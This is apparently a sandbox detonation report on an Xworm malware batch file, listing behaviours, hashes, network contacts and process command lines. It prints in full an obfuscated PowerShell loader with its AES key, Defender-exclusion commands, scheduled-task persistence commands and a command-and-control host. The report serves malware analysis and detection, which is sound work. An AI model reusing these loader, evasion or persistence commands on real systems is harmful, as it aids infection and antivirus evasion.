Analysis Overview
SHA256
976bef5e2f4128e42bb344af988b88e188503c4f7df7452ee1a87947eea833a1
Threat Level: Known bad
The file XClient.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
Enumerates physical storage devices
Uses Task Scheduler COM API
Suspicious use of SetWindowsHookEx
Creates scheduled task(s)
Delays execution with timeout.exe
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Modifies registry class
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-31 17:17
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-31 17:17
Reported
2024-05-31 17:20
Platform
win11-20240508-en
Max time kernel
92s
Max time network
141s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Runtime Broker.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3433428765-2473475212-4279855560-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "C:\\Users\\Admin\\Runtime Broker.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3433428765-2473475212-4279855560-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W9ISWKk0uktoB21K/n8WP2z/EMIVG4ajR8KxvaCHQZc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NiPaOPsEhb3GYyQq1AToPQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TYqPW=New-Object System.IO.MemoryStream(,$param_var); $wUcjc=New-Object System.IO.MemoryStream; $lqjaM=New-Object System.IO.Compression.GZipStream($TYqPW, [IO.Compression.CompressionMode]::Decompress); $lqjaM.CopyTo($wUcjc); $lqjaM.Dispose(); $TYqPW.Dispose(); $wUcjc.Dispose(); $wUcjc.ToArray();}function execute_function($param_var,$param2_var){ $zoSsA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VRasO=$zoSsA.EntryPoint; $VRasO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$qsbcF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($jzVlk in $qsbcF) { if ($jzVlk.StartsWith(':: ')) { $ZvyRr=$jzVlk.Substring(3); break; }}$payloads_var=[string[]]$ZvyRr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_851_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_851.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_851.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_851.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W9ISWKk0uktoB21K/n8WP2z/EMIVG4ajR8KxvaCHQZc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NiPaOPsEhb3GYyQq1AToPQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TYqPW=New-Object System.IO.MemoryStream(,$param_var); $wUcjc=New-Object System.IO.MemoryStream; $lqjaM=New-Object System.IO.Compression.GZipStream($TYqPW, [IO.Compression.CompressionMode]::Decompress); $lqjaM.CopyTo($wUcjc); $lqjaM.Dispose(); $TYqPW.Dispose(); $wUcjc.Dispose(); $wUcjc.ToArray();}function execute_function($param_var,$param2_var){ $zoSsA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VRasO=$zoSsA.EntryPoint; $VRasO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_851.bat';$qsbcF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_851.bat').Split([Environment]::NewLine);foreach ($jzVlk in $qsbcF) { if ($jzVlk.StartsWith(':: ')) { $ZvyRr=$jzVlk.Substring(3); break; }}$payloads_var=[string[]]$ZvyRr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Runtime Broker.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\Runtime Broker.exe"
C:\Users\Admin\Runtime Broker.exe
"C:\Users\Admin\Runtime Broker.exe"
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /f /tn "Runtime Broker"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC488.tmp.bat""
C:\Windows\system32\timeout.exe
timeout 3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 147.185.221.19:38173 | 19.ip.gl.ply.gg | tcp |
| US | 147.185.221.19:38173 | 19.ip.gl.ply.gg | tcp |
| US | 52.111.227.14:443 | tcp |
Files
memory/4972-0-0x00007FFBA8E03000-0x00007FFBA8E05000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwwlxotb.lj4.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4972-9-0x0000027171840000-0x0000027171862000-memory.dmp
memory/4972-10-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/4972-11-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/4972-12-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/4972-13-0x0000027171AA0000-0x0000027171AA8000-memory.dmp
memory/4972-14-0x0000027171AD0000-0x0000027171B0C000-memory.dmp
memory/3676-16-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/3676-25-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/3676-26-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/3676-27-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/3676-30-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 205132e51fd98b720c8bf562aefb5a04 |
| SHA1 | 0949d0f9ed3960d3b32640f4306397c21082af78 |
| SHA256 | 55b043252a2db40ae0ec71cdf7b2cd5f3ca213c58e9295be8a99012cb860b2db |
| SHA512 | 04d0666705e893d4bca38f40aa8cd330a510fef187fbb9f1af4ecabe3623854ee66ccc3708bbc41cd75376d5266a4f901d5595f0bbcefadf4c7fecbf180cfaa1 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\startup_str_851.vbs
| MD5 | 9b1f7fd1afd17850c5f8cd9d0224cea6 |
| SHA1 | 5a60b6f7d7883e3586cad39e2e4ca0d4afe40b3e |
| SHA256 | 95c9c6c74a4dfa55c5cfead13814efb4d30025696f2ddcc87dfbeecafbc2bbd9 |
| SHA512 | d5ebe2c23eae367d2ac76ce1f4129350c19605f08fb130d6759b7757f23f47717fd05aa94dfcc1ffda7767243516cbd3f392061d4717f0d3bd1be0d2f43bdff9 |
C:\Users\Admin\AppData\Roaming\startup_str_851.bat
| MD5 | 5f114fbb47589f072b2329adeab0e2d7 |
| SHA1 | 1572da87baa2fcd945be9ca5073cf2c27a5e4eda |
| SHA256 | 976bef5e2f4128e42bb344af988b88e188503c4f7df7452ee1a87947eea833a1 |
| SHA512 | 4ffba8c4bc5771f90b64825880e033192bbafdf1952a29893d35821dbe675fc57b942ff22831848e3081da751804572f61b214cdc8b2a42523d069343f112b69 |
memory/1436-48-0x000001D93A640000-0x000001D93A65C000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d0a4a3b9a52b8fe3b019f6cd0ef3dad6 |
| SHA1 | fed70ce7834c3b97edbd078eccda1e5effa527cd |
| SHA256 | 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31 |
| SHA512 | 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 9deb31d63c251368f1dcf297650b2997 |
| SHA1 | 02a6835b82971ae7dba9d97e528412fac5247714 |
| SHA256 | 9c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893 |
| SHA512 | 0d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 21017c68eaf9461301de459f4f07e888 |
| SHA1 | 41ff30fc8446508d4c3407c79e798cf6eaa5bb73 |
| SHA256 | 03b321e48ff3328d9c230308914961fe110c4c7bc96c0a85a296745437bcb888 |
| SHA512 | 956990c11c6c1baa3665ef7ef23ef6073e0a7fcff77a93b5e605a83ff1e60b916d80d45dafb06977aed90868a273569a865cf2c623e295b5157bfff0fb2be35d |
memory/4972-92-0x00007FFBA8E00000-0x00007FFBA98C2000-memory.dmp
memory/4972-93-0x00007FFBA8E03000-0x00007FFBA8E05000-memory.dmp
memory/1436-94-0x000001D93A9C0000-0x000001D93A9CC000-memory.dmp
C:\Users\Admin\Runtime Broker.exe
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
memory/2052-104-0x0000018C446A0000-0x0000018C446E6000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4b86e1a9a1b724c301725579ce442d5e |
| SHA1 | 971d09bd61f83b5371c9bab1d5b879b714f5799a |
| SHA256 | 8ef66efbcdc121e86d296c2c4569893799a9fc2e24817268a4e612247ff0a5ca |
| SHA512 | 71b5e4152d708e1d89de954194d2b6d6d0c93a0c2e4b677cd8e15c569885c9b4a6a196852176e44647f7ca29e8e67cccb848961b5fba1326f997ef18a719f303 |
C:\Users\Admin\AppData\Local\Temp\tmpC488.tmp.bat
| MD5 | 2af1b34691f581286c65fdfe06c8c9d8 |
| SHA1 | a1997897a0ea4708283e9f4649cbd6a2be65f3ca |
| SHA256 | 9969677cb74d4355064d144747557201fde958e76528873d1e72a4b3b37d17b0 |
| SHA512 | 23cec1ceb15ca401febfa5d61912703f61d1923e17f358275ec5e7da19a5eeae42ffba7f57fcc405fdfcd8cee4bb133d8bcfe598a03f44a6964b246c78998e33 |